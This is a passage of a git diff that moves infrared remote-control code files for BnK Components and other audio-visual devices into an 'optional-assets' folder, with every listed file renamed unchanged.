assets/resources/infrared/optional-assets/_CSV-IRDB_/BenQ/Unknown_W1070/0,48.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bench/Unknown_kh2800/48,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bench/Unknown_kh2800/48,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bench/Unknown_kh2800/48,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bench/Unknown_kh2800/48,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Big Ben/Game Console/67,164.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Big Ben/Game Console/67,164.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Big Ben/Game Console/67,164.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Big Ben/Game Console/67,164.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bluesky/Unknown_DV900/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bluesky/Unknown_DV900/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bluesky/Unknown_DV900/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bluesky/Unknown_DV900/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,79.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,79.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,79.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,79.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/11,79.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/11,79.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/11,79.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/11,79.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/123,72.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/123,72.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/123,72.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/123,72.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/139,71.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/139,71.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/139,71.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/139,71.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/187,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/187,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/187,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/187,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/203,67.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/203,67.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/203,67.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/203,67.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/219,66.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/219,66.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/219,66.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/219,66.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/242,208.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/242,208.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/242,208.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/242,208.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/243,192.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/243,192.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/243,192.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/243,192.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/251,64.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/251,64.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/251,64.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/251,64.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/27,78.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/27,78.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/27,78.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/27,78.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/43,77.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/43,77.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/43,77.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/43,77.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/59,76.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/59,76.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/59,76.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/59,76.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/75,75.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/75,75.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/75,75.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/75,75.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/91,74.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/91,74.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/91,74.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/91,74.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/103,137.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/103,137.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/103,137.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/103,137.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/108,57.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/108,57.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/108,57.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/108,57.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/111,9.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/111,9.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/111,9.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/111,9.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/119,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/119,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/119,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/119,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/123,72.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/123,72.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/123,72.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/123,72.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/127,8.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/127,8.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/127,8.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/127,8.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/128,247.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/128,247.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/128,247.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/128,247.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/135,135.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/135,135.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/135,135.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/135,135.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/143,7.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/143,7.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/143,7.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/143,7.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/15,15.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/15,15.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/15,15.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/15,15.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/159,6.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/159,6.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/159,6.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/159,6.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/167,133.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/167,133.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/167,133.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/167,133.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/172,53.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/172,53.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/172,53.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/172,53.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/183,132.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/183,132.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/183,132.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/183,132.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/187,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/187,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/187,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/187,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/192,243.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/192,243.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/192,243.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/192,243.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/199,131.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/199,131.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/199,131.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/199,131.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/204,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/204,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/204,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/204,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/219,66.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/219,66.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/219,66.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/219,66.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/223,2.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/223,2.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/223,2.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/223,2.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/23,142.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/23,142.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/23,142.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/23,142.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/239,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/239,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/239,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/239,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/242,208.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/242,208.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/242,208.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/242,208.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/243,192.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/243,192.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/243,192.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/243,192.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/247,128.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/247,128.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/247,128.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/247,128.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/251,64.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/251,64.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/251,64.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/251,64.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/255,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/255,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/255,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/255,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/31,14.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/31,14.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/31,14.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/31,14.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/39,141.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/39,141.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/39,141.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/39,141.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/44,61.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/44,61.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/44,61.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/44,61.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/55,140.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/55,140.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/55,140.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/55,140.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/59,76.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/59,76.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/59,76.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/59,76.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/63,12.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/63,12.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/63,12.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/63,12.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/64,251.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/64,251.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/64,251.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/64,251.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/7,143.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/7,143.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/7,143.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/7,143.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/71,139.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/71,139.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/71,139.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/71,139.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/76,59.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/76,59.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/76,59.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/76,59.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/79,11.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/79,11.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/79,11.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/79,11.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/91,74.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/91,74.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/91,74.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/91,74.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/95,10.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/95,10.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/95,10.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/95,10.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/103,137.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/103,137.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/103,137.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/103,137.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/119,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/119,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/119,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/119,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/123,72.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/123,72.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/123,72.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/123,72.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/135,135.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/135,135.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/135,135.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/135,135.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/143,7.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/143,7.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/143,7.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/143,7.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/15,15.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/15,15.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/15,15.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/15,15.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/151,134.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/151,134.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/151,134.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/151,134.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/167,133.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/167,133.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/167,133.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/167,133.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/183,132.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/183,132.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/183,132.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/183,132.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/187,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/187,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/187,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/187,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/199,131.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/199,131.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/199,131.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/199,131.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/215,130.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/215,130.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/215,130.ir rename to 